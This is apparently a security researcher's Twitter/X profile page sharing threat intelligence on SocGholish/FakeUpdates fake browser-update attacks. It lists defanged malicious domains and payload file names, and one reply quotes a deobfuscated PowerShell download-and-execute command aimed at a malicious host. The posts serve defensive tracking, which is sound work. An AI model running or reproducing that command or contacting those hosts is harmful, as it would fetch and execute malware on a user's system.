Malware Brandon

48 posts

Malware Brandon

Malware Brandon

@Malware_Brandon

Security Researcher

Katılım Eylül 2024
145 Takip Edilen118 Takipçiler
Sabitlenmiş Tweet
Malware Brandon
Malware Brandon@Malware_Brandon·
1/X Here's some details on recent SOCGholish / FakeUpdates initial infections and the TDS (Keitaro?) that goes along with it. This loader uses compromised sites to display a fake "browser update" themed lure that, when clicked, downloads the malware.
Malware Brandon tweet media
English
4
15
52
6.3K
Malware Brandon
Malware Brandon@Malware_Brandon·
New SocGholish Stage-3 domain: * api-app[.]uppercrafteroom[.]com Being served up by previously seen Stage-2: * content-website-analytics[.]com/script[.]js
English
0
1
1
168
Malware Brandon
Malware Brandon@Malware_Brandon·
5/5 A lot of newer compromised sites I'm seeing are skipping the old Stage-2 script and directly calling the Stage-3 domain. #SocGholish #FakeUpdates
English
0
0
0
62
Malware Brandon
Malware Brandon@Malware_Brandon·
4/X New file name for the Chrome Payload as well. Previous name: New Version (Click).js New name: Google Launcher.js Firefox and Edge filenames still seem the same: FF: MozillaUpdater.zip->Firefox.js Edge: <11 random alphanumeric chars>.js
English
1
0
0
60
Malware Brandon
Malware Brandon@Malware_Brandon·
Some new SocGholish Stage-3 domains observed in the last few days: - updates[.]highendmark[.]com - vps[.]denissalazar[.]com - devel[.]asurans[.]com Updated my list of infrastructure (Stage2 & Stage3) with some others seen in the past few months as well: github.com/MalwareBrandon…
English
1
0
0
150
Malware Brandon
Malware Brandon@Malware_Brandon·
@SecRiot Looks like the .js executes some slightly obfuscated Powershell; just some basic string replacement and decimal->char conversion. Deobfuscates to "iex curl -useb hxxp://naybvyzvemm[.]top/f22[.]svg" (defanged)
English
0
0
1
87
Malware Brandon
Malware Brandon@Malware_Brandon·
@SecRiot Looks like SocGholish. The compromised site reaches out to getmanyme[.]com/privacy/i18min[.]js which is the Stage-2, which reaches out to to the Stage-3 at static[.]twalls5280[.]com for some criteria checking and for the payload
English
1
0
1
67
Malware Brandon
Malware Brandon@Malware_Brandon·
Finally getting around to sharing the SocGholish infrastructure I've observed over the last year or two. Comprises of known initial Stage-2 and Stage-3 domains as well as the respective Stage-2 scripts found on VirusTotal. github.com/MalwareBrandon…
Malware Brandon tweet media
English
1
11
65
5K
Malware Brandon retweetledi
Google Cloud Security
Google Cloud Security@GoogleCloudSec·
Mandiant's latest blog post in the "Finding Malware" series dives deep into Fake Browser Update Attacks! 👾 Learn how these attacks use social engineering to deliver malicious payloads like FAKEUPDATES, FAKESMUGGLES, and FAKETREFF. Read the full post: bit.ly/43hDJ83
Google Cloud Security tweet media
English
0
2
2
454
Malware Brandon
Malware Brandon@Malware_Brandon·
@pancak3lullz @x3ph1 There's a few users on here that regularly post SmartapeSG IOCs but also @MonitorSG on infosec[.]exchange posts frequently about it as well if you want to get some more insight
English
1
0
2
192

Keşfet

@SecRiot @RussianPanda9xx @threatinsight @Intel471Inc @GoogleCloudSec @pancak3lullz @x3ph1 @MonitorSG